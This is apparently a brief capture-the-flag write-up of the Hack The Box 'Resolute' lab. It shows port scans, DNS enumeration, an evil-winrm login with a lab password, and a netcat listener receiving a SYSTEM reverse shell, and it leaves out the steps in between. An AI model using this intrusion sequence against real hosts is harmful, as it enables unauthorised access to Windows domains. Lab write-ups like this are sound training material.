┌──(mikannse㉿kali)-[~/HTB/resolute] └─$ sudo nmap --min-rate=10000 -p- 10.10.10.169 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-13 19:33 CST Warning: 10.10.10.169 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.10.169 Host is up (0.071s latency). Not shown: 65474 closed tcp ports (reset), 37 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49671/tcp open unknown 49680/tcp open unknown 49681/tcp open unknown 49688/tcp open unknown 49712/tcp open unknown 50013/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 17.38 seconds
┌──(mikannse㉿kali)-[~/HTB/resolute] └─$ sudo nmap -sT -sC -sV -O -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49680,49681,49688,49712,50052 10.10.10.169 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-13 19:38 CST Nmap scan report for 10.10.10.169 Host is up (0.074s latency).
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-09-13 11:34:43Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49680/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49681/tcp open msrpc Microsoft Windows RPC 49688/tcp open msrpc Microsoft Windows RPC 49712/tcp open msrpc Microsoft Windows RPC 50052/tcp closed unknown No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94SVN%E=4%D=9/13%OT=53%CT=50052%CU=42043%PV=Y%DS=2%DC=I%G=Y%TM= OS:66E42469%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10D%TI=I%CI=I%II=I%S OS:S=S%TS=A)SEQ(SP=104%GCD=1%ISR=10D%TI=I%CI=RD%II=I%SS=S%TS=A)OPS(O1=M53CN OS:W8ST11%O2=M53CNW8ST11%O3=M53CNW8NNT11%O4=M53CNW8ST11%O5=M53CNW8ST11%O6=M OS:53CST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y OS:%T=80%W=2000%O=M53CNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q= OS:)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A OS:=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF OS:=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O= OS:%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80% OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
Host script results: | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: required |_clock-skew: mean: 2h16m35s, deviation: 4h02m32s, median: -3m26s | smb2-time: | date: 2024-09-13T11:35:43 |_ start_date: 2024-09-13T11:22:15 | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Resolute | NetBIOS computer name: RESOLUTE\x00 | Domain name: megabank.local | Forest name: megabank.local | FQDN: Resolute.megabank.local |_ System time: 2024-09-13T04:35:46-07:00 | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 79.73 seconds
找到域名:megabank.local
Enum
┌──(mikannse㉿kali)-[~/HTB/resolute] └─$ dig any @10.10.10.169 megabank.local
; <<>> DiG 9.20.1-1-Debian <<>> any @10.10.10.169 megabank.local ; (1 server found) ;; global options: +cmd ;; Got answer: ;; WARNING: .local is reserved for Multicast DNS ;; You are currently testing what happens when an mDNS query is leaked to DNS ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6199 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 2 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4000 ;; QUESTION SECTION: ;megabank.local. IN ANY ;; ANSWER SECTION: megabank.local. 600 IN A 10.10.10.169 megabank.local. 3600 IN NS resolute.megabank.local. megabank.local. 3600 IN SOA resolute.megabank.local. hostmaster.megabank.local. 152 900 600 86400 3600 megabank.local. 600 IN AAAA dead:beef::b803:885a:b665:b183 ;; ADDITIONAL SECTION: resolute.megabank.local. 3600 IN A 10.10.10.169 ;; Query time: 71 msec ;; SERVER: 10.10.10.169#53(10.10.10.169) (TCP) ;; WHEN: Fri Sep 13 19:46:42 CST 2024 ;; MSG SIZE rcvd: 173
┌──(mikannse㉿kali)-[~/HTB/resolute] └─$ evil-winrm -i 10.10.10.169 -u 'melanie' -p 'Welcome123!' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\melanie\Documents>
提权
没有什么特殊的组和权限，跑一下winpeas,在结果中看到一个powershell的可疑路径
Time Running: 0:15 ==|| PowerShell Registry Transcript Check
┌──(mikannse㉿kali)-[~/HTB/resolute] └─$ rlwrap -cAr nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.13] from (UNKNOWN) [10.10.10.169] 56664 Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. C:\Users\Administrator\Desktop>whoami whoami nt authority\system
